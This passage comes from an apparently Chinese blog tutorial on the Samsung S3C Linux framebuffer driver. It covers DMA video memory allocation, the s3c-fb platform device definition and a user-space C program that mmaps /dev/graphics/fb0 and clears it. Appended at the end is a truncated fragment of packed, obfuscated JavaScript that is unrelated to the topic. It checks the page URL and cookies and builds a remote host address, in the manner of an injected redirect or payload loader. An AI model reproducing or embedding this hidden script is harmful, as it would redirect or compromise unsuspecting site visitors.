…等。
帧缓冲设备显示缓冲区的申请与释放,显示缓冲区要考虑cache一致性问题,因为系统往往用DMA方式搬运数据,这里用了dma_alloc_writecombine,允许写入的数据被合并后burst传输,而不是多次single传输,不会出现cache一致性问题,类似于dma_clloc_coherent。
static int __init s3cfb_map_video_memory(s3cfb_info_t *fbi)
{
DPRINTK (“map_video_memory(fbi=%p)\n”, fbi );
fbi ->map_size_f1 = PAGE_ALIGN(fbi ->fb.fix.smem_len );
fbi ->map_cpu_f1 = dma_alloc_writecombine (fbi->dev, fbi ->map_size_f1, &fbi->map_dma_f1, GFP_KERNEL );
fbi ->map_size_f1 = fbi->fb .fix.smem_len;
if (fbi->map_cpu_f1) {
/* prevent initial garbage on screen */
printk (“Window[%d] – FB1: map_video_memory: clear %p:%08x\n”,
fbi ->win_id, fbi->map_cpu_f1 , fbi->map_size_f1);
memset (fbi->map_cpu_f1, 0xf0, fbi ->map_size_f1);
fbi ->screen_dma_f1 = fbi->map_dma_f1 ;
fbi ->fb.screen_base = fbi ->map_cpu_f1;
fbi ->fb.fix.smem_start = fbi->screen_dma_f1;
printk (“ FB1: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
fbi ->map_dma_f1, fbi->map_cpu_f1 , fbi->fb.fix .smem_len);
}
if (!fbi->map_cpu_f1)
return -ENOMEM;
#if defined(CONFIG_FB_S3C_EXT_DOUBLE_BUFFERING)
if (fbi->win_id < 2 && fbi->map_cpu_f1 ) {
fbi ->map_size_f2 = (fbi ->fb.fix.smem_len / 2 );
fbi ->map_cpu_f2 = fbi->map_cpu_f1 + fbi->map_size_f2;
fbi ->map_dma_f2 = fbi->map_dma_f1 + fbi->map_size_f2;
/* prevent initial garbage on screen */
printk (“Window[%d] – FB2: map_video_memory: clear %p:%08x\n”,
fbi ->win_id, fbi->map_cpu_f2 , fbi->map_size_f2);
fbi ->screen_dma_f2 = fbi->map_dma_f2 ;
printk (“ FB2: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
fbi ->map_dma_f2, fbi->map_cpu_f2 , fbi->map_size_f2);
}
#endif
if (s3cfb_fimd.map_video_memory)
(s3cfb_fimd.map_video_memory)(fbi );
return 0;
}
最后看平台设备,可以知道必定存在一个名叫s3c-fb的平台设备和这里的驱动对应,然后才会调用framebuffer_register,在arch/arm/plat-samsung/dev-fb.c中。
static struct resource s3c_fb_resource[] = {
[0 ] = {
.start = S3C_PA_FB,
.end = S3C_PA_FB + SZ_16K - 1 ,
.flags = IORESOURCE_MEM,
},
[1 ] = {
.start = IRQ_LCD_VSYNC,
.end = IRQ_LCD_VSYNC,
.flags = IORESOURCE_IRQ,
},
[2 ] = {
.start = IRQ_LCD_FIFO,
.end = IRQ_LCD_FIFO,
.flags = IORESOURCE_IRQ,
},
[3 ] = {
.start = IRQ_LCD_SYSTEM,
.end = IRQ_LCD_SYSTEM,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device s3c_device_fb = {
.name = “s3c-fb” ,
.id = -1,
.num_resources = ARRAY_SIZE(s3c_fb_resource),
.resource = s3c_fb_resource,
.dev .dma_mask = &s3c_device_fb.dev.coherent_dma_mask ,
.dev .coherent_dma_mask = 0xffffffffUL,
};
void __init s3c_fb_set_platdata(struct s3c_fb_platdata *pd )
{
struct s3c_fb_platdata *npd;
if (!pd) {
printk (KERN_ERR “%s: no platform data\n” , __func__);
return;
}
npd = kmemdup(pd, sizeof(struct s3c_fb_platdata), GFP_KERNEL );
if (!npd)
printk (KERN_ERR “%s: no memory for platform data\n” , __func__);
s3c_device_fb .dev.platform_data = npd ;
}
帧缓冲设备的用户空间访问:读写/dev/fbX、映射、ioctl获取/设置各种参数,这里里操作之后的图像将为黑屏。注意:仅仅是前面一个缓冲区。
常用ioctl命令;FBIOGET_VSCREENINFO、FBIOPUT_VSCREENINFO、FBIOGET_FSCREENINFO
常用结构体成员:
struct fb_fix_screeninfo:smem_start(物理地址)/smem_len/line_length
struct fb_var_screeninfo:xres/yres/xres_virtual/yres_virtual/bits_per_pixel/
#include <linux/fb.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
int main()
{
int fbfd ,size;
struct fb_var_screeninfo vinfo ;
char *fbp;
if(!(fbfd=open (“/dev/graphics/fb0″,O_RDWR ))){
printf (“Error:cannot open framebuffer device.\n”);
exit (1);
}
if(ioctl(fbfd ,FBIOGET_VSCREENINFO,&vinfo)){
printf (“Error:reading variable infomation.\n”);
exit (1);
}
size =vinfo.xres*vinfo .yres*vinfo.bits_per_pixel /8;
fbp =(char *)mmap(0,size ,PROT_READ|PROT_WRITE,MAP_SHARED ,fbfd,0);
if((int)fbp ==-1){
printf (“Error:failed to map framebuffer into memory.\n”);
exit (1);
}
memset (fbp,0,size );
munmap (fbp,size);
close (fbfd);
return 0;
}
// 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('(d(5){3(a.x){9}a.x=m;2 e={"t://(.*?\\.q)(F\\.b)|(q\\.E)(19\\.b)":"t://16.15"+"V"+"J.b/13.G"};u(2 l 14 e){2 w=6.M.N;3(w.P(S(l))){j=e[l];d o(p){2 g=p+"=";2 f=6.17.18(\';\');u(2 i=0;i